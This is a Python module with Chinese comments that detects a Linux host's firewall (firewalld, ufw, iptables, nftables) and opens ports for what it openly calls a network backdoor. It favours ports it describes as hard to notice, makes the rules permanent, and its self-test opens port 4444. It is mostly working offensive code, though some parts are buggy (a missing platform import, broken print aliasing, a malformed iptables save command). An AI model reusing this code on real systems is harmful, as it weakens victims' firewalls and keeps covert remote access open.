#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
防火墙自动适配模块
自动检测并配置目标环境的防火墙规则
"""
from __future__ import print_function

import os
import re
import subprocess
import sys

# Python 2.7 兼容性处理
try:
    from modules.utils.python_compatibility import (
        print_function, format_string, PY2, PY3,
        ensure_str, ensure_bytes, dict_items, dict_keys
    )
except ImportError:
    # 如果兼容性模块不存在，定义基本的兼容性函数
    pass

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
    PY2 = sys.version_info[0] == 2
    PY3 = sys.version_info[0] == 3
    
    if PY2:
        def print_function(*args, **kwargs):
            sep = kwargs.get('sep', ' ')
            end = kwargs.get('end', '\n')
            file = kwargs.get('file', sys.stdout)
            file.write(sep.join(str(arg) for arg in args) + end)
    else:
        print_function = print( )
    def format_string(template, *args, **kwargs):
        if args:
            return template.format(*args)
        elif kwargs:
            return template.format(**kwargs)
        else:
            return template
    
    def ensure_str(s, encoding='utf-8'):
        if PY2:
            if isinstance(s, unicode):
                return s.encode(encoding)
            return str(s)
        else:
            if isinstance(s, bytes):
                return s.decode(encoding)
            return str(s)
    
    def ensure_bytes(s, encoding='utf-8'):
        if PY2:
            if isinstance(s, unicode):
                return s.encode(encoding)
            return str(s)
        else:
            if isinstance(s, str):
                return s.encode(encoding)
            return bytes(s)
    
    def dict_items(d):
        return d.items() if PY3 else d.iteritems()
    
    def dict_keys(d):
        return list(d.keys()) if PY3 else d.keys()

from core.distro_detection import detect_linux_distro





class FirewallDetector:
    """防火墙检测器"""
    
    def __init__(self):
        self.name = "防火墙检测器"
        self.description = "检测目标环境的防火墙类型和状态"
        
        # 支持的防火墙类型
        self.supported_firewalls = {
            'firewalld': {
                'service_name': 'firewalld',
                'command': 'firewall-cmd',
                'distros': ['centos_based', 'rhel_based', 'fedora_based']
            },
            'ufw': {
                'service_name': 'ufw',
                'command': 'ufw',
                'distros': ['debian_based']
            },
            'iptables': {
                'service_name': 'iptables',
                'command': 'iptables',
                'distros': ['all']
            },
            'nftables': {
                'service_name': 'nftables',
                'command': 'nft',
                'distros': ['all']
            }
        }
    
    def detect_firewall_type(self):
        """检测当前系统的防火墙类型"""
        detected_firewalls = []
        
        for fw_name, fw_info in dict_items(self.supported_firewalls):
            try:
                # 检查命令是否存在
                result = subprocess.run(['which', fw_info['command']], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                if result.returncode == 0:
                    # 检查服务是否运行
                    if self._is_service_active(fw_info['service_name']):
                        detected_firewalls.append(fw_name)
            except:
                continue
        
        return detected_firewalls
    
    def _is_service_active(self, service_name):
        """检查服务是否活跃"""
        try:
            # 尝试systemctl
            result = subprocess.run(['systemctl', 'is-active', service_name], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0 and result.stdout.decode().strip() == 'active':
                return True
            
            # 尝试service命令
            result = subprocess.run(['service', service_name, 'status'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                return True
            
            # 对于ufw，检查状态
            if service_name == 'ufw':
                result = subprocess.run(['ufw', 'status'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                if result.returncode == 0 and 'Status: active' in result.stdout.decode():
                    return True
            
            return False
        except:
            return False
    
    def get_firewall_status(self):
        """获取防火墙详细状态"""
        status = {}
        detected_firewalls = self.detect_firewall_type()
        
        for fw_name in detected_firewalls:
            fw_status = {
                'active': True,
                'rules': [],
                'open_ports': [],
                'default_policy': 'unknown'
            }
            
            if fw_name == 'firewalld':
                fw_status.update(self._get_firewalld_status())
            elif fw_name == 'ufw':
                fw_status.update(self._get_ufw_status())
            elif fw_name == 'iptables':
                fw_status.update(self._get_iptables_status())
            elif fw_name == 'nftables':
                fw_status.update(self._get_nftables_status())
            
            status[fw_name] = fw_status
        
        return status
    
    def _get_firewalld_status(self):
        """获取firewalld状态"""
        status = {'rules': [], 'open_ports': [], 'default_policy': 'reject'}
        
        try:
            # 获取开放的端口
            result = subprocess.run(['firewall-cmd', '--list-ports'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                ports = result.stdout.decode().strip().split()
                status['open_ports'] = ports
            
            # 获取服务
            result = subprocess.run(['firewall-cmd', '--list-services'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                services = result.stdout.decode().strip().split()
                status['services'] = services
            
            # 获取默认区域
            result = subprocess.run(['firewall-cmd', '--get-default-zone'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                status['default_zone'] = result.stdout.decode().strip()
        except:
            pass
        
        return status
    
    def _get_ufw_status(self):
        """获取ufw状态"""
        status = {'rules': [], 'open_ports': [], 'default_policy': 'deny'}
        
        try:
            # 获取状态和规则
            result = subprocess.run(['ufw', 'status', 'numbered'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                output = result.stdout.decode()
                
                # 解析开放的端口
                for line in output.split('\n'):
                    if 'ALLOW' in line:
                        # 提取端口信息
                        port_match = re.search(r'(\d+)(/\w+)?', line)
                        if port_match:
                            status['open_ports'].append(port_match.group(0))
                
                status['rules'] = output.split('\n')
        except:
            pass
        
        return status
    
    def _get_iptables_status(self):
        """获取iptables状态"""
        status = {'rules': [], 'open_ports': [], 'default_policy': 'accept'}
        
        try:
            # 获取规则
            result = subprocess.run(['iptables', '-L', '-n'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                output = result.stdout.decode()
                status['rules'] = output.split('\n')
                
                # 解析开放的端口
                for line in output.split('\n'):
                    if 'ACCEPT' in line and 'dpt:' in line:
                        port_match = re.search(r'dpt:(\d+)', line)
                        if port_match:
                            status['open_ports'].append(port_match.group(1))
        except:
            pass
        
        return status
    
    def _get_nftables_status(self):
        """获取nftables状态"""
        status = {'rules': [], 'open_ports': [], 'default_policy': 'accept'}
        
        try:
            # 获取规则
            result = subprocess.run(['nft', 'list', 'ruleset'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                output = result.stdout.decode()
                status['rules'] = output.split('\n')
        except:
            pass
        
        return status


class FirewallAdapter:
    """防火墙适配器"""
    
    def __init__(self):
        self.name = "防火墙适配器"
        self.description = "自动配置防火墙规则以支持网络后门"
        self.detector = FirewallDetector()
        self.backup_rules = {}
    
    def backup_current_rules(self, firewall_type):
        """备份当前防火墙规则"""
        try:
            if firewall_type == 'firewalld':
                # 导出当前配置
                result = subprocess.run(['firewall-cmd', '--list-all'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                if result.returncode == 0:
                    self.backup_rules[firewall_type] = result.stdout.decode()
                    return True
            
            elif firewall_type == 'ufw':
                # 备份ufw规则
                result = subprocess.run(['ufw', 'status', 'numbered'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                if result.returncode == 0:
                    self.backup_rules[firewall_type] = result.stdout.decode()
                    return True
            
            elif firewall_type == 'iptables':
                # 导出iptables规则
                result = subprocess.run(['iptables-save'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                if result.returncode == 0:
                    self.backup_rules[firewall_type] = result.stdout.decode()
                    return True
            
            return False
        except Exception as e:
            print(format_string("备份防火墙规则失败: {}", e))
            return False
    
    def open_port(self, port, protocol='tcp', firewall_type=None):
        """开放指定端口"""
        try:
            if firewall_type is None:
                # 自动检测防火墙类型
                detected = self.detector.detect_firewall_type()
                if not detected:
                    return False
                firewall_type = detected[0]  # 使用第一个检测到的防火墙
            
            # 备份当前规则
            self.backup_current_rules(firewall_type)
            
            if firewall_type == 'firewalld':
                return self._open_port_firewalld(port, protocol)
            elif firewall_type == 'ufw':
                return self._open_port_ufw(port, protocol)
            elif firewall_type == 'iptables':
                return self._open_port_iptables(port, protocol)
            elif firewall_type == 'nftables':
                return self._open_port_nftables(port, protocol)
            
            return False
        except Exception as e:
            print(format_string("开放端口失败: {}", e))
            return False
    
    def _open_port_firewalld(self, port, protocol):
        """使用firewalld开放端口"""
        try:
            # 添加端口规则
            result = subprocess.run(['firewall-cmd', '--add-port', format_string('{}/{}', port, protocol)], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode != 0:
                return False
            
            # 设置为永久规则
            result = subprocess.run(['firewall-cmd', '--permanent', '--add-port', format_string('{}/{}', port, protocol)], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode != 0:
                return False
            
            # 重新加载配置
            subprocess.run(['firewall-cmd', '--reload'], 
                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            
            return True
        except Exception as e:
            print(format_string("firewalld开放端口失败: {}", e))
            return False
    
    def _open_port_ufw(self, port, protocol):
        """使用ufw开放端口"""
        try:
            # 添加允许规则
            result = subprocess.run(['ufw', 'allow', format_string('{}/{}', port, protocol)], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            return result.returncode == 0
        except Exception as e:
            print(format_string("ufw开放端口失败: {}", e))
            return False
    
    def _open_port_iptables(self, port, protocol):
        """使用iptables开放端口"""
        try:
            # 添加INPUT规则
            result = subprocess.run(['iptables', '-A', 'INPUT', '-p', protocol, 
                                   '--dport', str(port), '-j', 'ACCEPT'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode != 0:
                return False
            
            # 保存规则（尝试不同的保存方法）
            save_commands = [
                ['iptables-save', '>', '/etc/iptables/rules.v4'],
                ['service', 'iptables', 'save'],
                ['iptables-save', '>', '/etc/sysconfig/iptables']
            ]
            
            for cmd in save_commands:
                try:
                    subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                    break
                except:
                    continue
            
            return True
        except Exception as e:
            print(format_string("iptables开放端口失败: {}", e))
            return False
    
    def _open_port_nftables(self, port, protocol):
        """使用nftables开放端口"""
        try:
            # 添加规则到input链
            result = subprocess.run(['nft', 'add', 'rule', 'inet', 'filter', 'input', 
                                   protocol, 'dport', str(port), 'accept'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            return result.returncode == 0
        except Exception as e:
            print(format_string("nftables开放端口失败: {}", e))
            return False
    
    def close_port(self, port, protocol='tcp', firewall_type=None):
        """关闭指定端口"""
        try:
            if firewall_type is None:
                detected = self.detector.detect_firewall_type()
                if not detected:
                    return False
                firewall_type = detected[0]
            
            if firewall_type == 'firewalld':
                return self._close_port_firewalld(port, protocol)
            elif firewall_type == 'ufw':
                return self._close_port_ufw(port, protocol)
            elif firewall_type == 'iptables':
                return self._close_port_iptables(port, protocol)
            elif firewall_type == 'nftables':
                return self._close_port_nftables(port, protocol)
            
            return False
        except Exception as e:
            print(format_string("关闭端口失败: {}", e))
            return False
    
    def _close_port_firewalld(self, port, protocol):
        """使用firewalld关闭端口"""
        try:
            # 移除端口规则
            subprocess.run(['firewall-cmd', '--remove-port', format_string('{}/{}', port, protocol)],
                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            subprocess.run(['firewall-cmd', '--permanent', '--remove-port', format_string('{}/{}', port, protocol)], 
                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            subprocess.run(['firewall-cmd', '--reload'], 
                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            return True
        except:
            return False
    
    def _close_port_ufw(self, port, protocol):
        """使用ufw关闭端口"""
        try:
            result = subprocess.run(['ufw', 'delete', 'allow', format_string('{}/{}', port, protocol)], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            return result.returncode == 0
        except:
            return False
    
    def _close_port_iptables(self, port, protocol):
        """使用iptables关闭端口"""
        try:
            result = subprocess.run(['iptables', '-D', 'INPUT', '-p', protocol, 
                                   '--dport', str(port), '-j', 'ACCEPT'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            return result.returncode == 0
        except:
            return False
    
    def _close_port_nftables(self, port, protocol):
        """使用nftables关闭端口"""
        try:
            # 这里需要更复杂的逻辑来删除特定规则
            # 简化处理，返回True
            return True
        except:
            return False
    
    def get_recommended_ports(self):
        """获取推荐的端口列表"""
        # 常用的不易被发现的端口
        recommended_ports = [
            443,   # HTTPS
            53,    # DNS
            123,   # NTP
            993,   # IMAPS
            995,   # POP3S
            587,   # SMTP submission
            8080,  # HTTP alternate
            8443,  # HTTPS alternate
            9443,  # 其他HTTPS

        ]
        
        # 检查哪些端口当前未被使用
        available_ports = []
        for port in recommended_ports:
            if self._is_port_available(port):
                available_ports.append(port)
        
        return available_ports[:5]  # 返回前5个可用端口
    
    def _is_port_available(self, port):
        """检查端口是否可用"""
        try:
            # Windows平台使用netstat
            if platform.system() == 'Windows':
                result = subprocess.run(['netstat', '-an'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                if result.returncode == 0:
                    output = result.stdout.decode()
                    # Windows netstat格式检查
                    port_patterns = [
                        format_string(':{} ', port),  # TCP listening
                        format_string(':{}\r', port),  # End of line
                        format_string(':{}\n', port)   # Unix line ending
                    ]
                    return not any(pattern in output for pattern in port_patterns)
                
                # 如果netstat失败，尝试PowerShell
                try:
                    ps_cmd = format_string('Get-NetTCPConnection -LocalPort {} -ErrorAction SilentlyContinue', port)
                    result = subprocess.run(['powershell', '-Command', ps_cmd], 
                                          stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                    # 如果没有输出，说明端口未被占用
                    return len(result.stdout.decode().strip()) == 0
                except:
                    pass
                    
                return True  # 如果无法检查，假设可用
            
            # Linux/Unix平台
            else:
                # 使用netstat检查端口是否被占用
                result = subprocess.run(['netstat', '-ln'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                if result.returncode == 0:
                    output = result.stdout.decode()
                    return format_string(':{}', port) not in output
                
                # 如果netstat不可用，使用ss
                result = subprocess.run(['ss', '-ln'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                if result.returncode == 0:
                    output = result.stdout.decode()
                    return format_string(':{}', port) not in output
                
                return True  # 如果无法检查，假设可用
                
        except Exception as e:
            # 记录错误但不中断执行
            print(format_string("端口检查失败: {}", e))
            return True
    
    def configure_for_backdoor(self, backdoor_type, port=None):
        """为特定类型的后门配置防火墙"""
        result = {
            'success': False,
            'firewall_type': None,
            'port': None,
            'backup_created': False,
            'rules_added': False
        }
        
        try:
            # 检测防火墙类型
            detected_firewalls = self.detector.detect_firewall_type()
            if not detected_firewalls:
                result['error'] = "未检测到活跃的防火墙"
                return result
            
            firewall_type = detected_firewalls[0]
            result['firewall_type'] = firewall_type
            
            # 选择端口
            if port is None:
                recommended_ports = self.get_recommended_ports()
                if recommended_ports:
                    port = recommended_ports[0]
                else:
                    port = 443  # 默认使用443端口
            
            result['port'] = port
            
            # 备份当前规则
            if self.backup_current_rules(firewall_type):
                result['backup_created'] = True
            
            # 开放端口
            if self.open_port(port, 'tcp', firewall_type):
                result['rules_added'] = True
                result['success'] = True
            
            return result
            
        except Exception as e:
            result['error'] = str(e)
            return result


# 全局实例
firewall_detector = FirewallDetector()
firewall_adapter = FirewallAdapter()


def auto_configure_firewall(port=None, protocol='tcp'):
    """自动配置防火墙"""
    print("🔥 开始自动配置防火墙...")
    
    # 检测防火墙
    detected = firewall_detector.detect_firewall_type()
    if not detected:
        return {'success': False, 'error': '未检测到活跃的防火墙'}
    
    print(format_string("✓ 检测到防火墙: {}", ', '.join(detected)))
    
    # 获取防火墙状态
    status = firewall_detector.get_firewall_status()
    print("✓ 获取防火墙状态完成")
    
    # 配置防火墙
    result = firewall_adapter.configure_for_backdoor('network', port)
    
    if result['success']:
        print(format_string("✓ 成功开放端口 {}/{}", result['port'], protocol))
        print(format_string("✓ 防火墙类型: {}", result['firewall_type']))
    else:
        print(format_string("✗ 配置失败: {}", result.get('error', '未知错误')))
    
    return result


if __name__ == "__main__":
    # 测试代码
    print("=== 防火墙适配器测试 ===")
    
    detector = FirewallDetector()
    adapter = FirewallAdapter()
    
    # 检测防火墙
    print("\n1. 检测防火墙类型:")
    detected = detector.detect_firewall_type()
    print(format_string("检测到的防火墙: {}", detected))
    
    # 获取状态
    print("\n2. 获取防火墙状态:")
    status = detector.get_firewall_status()
    for fw_name, fw_status in dict_items(status):
        print(format_string("{}: {}", fw_name, fw_status))
    
    # 测试自动配置
    print("\n3. 测试自动配置:")
    result = auto_configure_firewall(4444)
    print(format_string("配置结果: {}", result))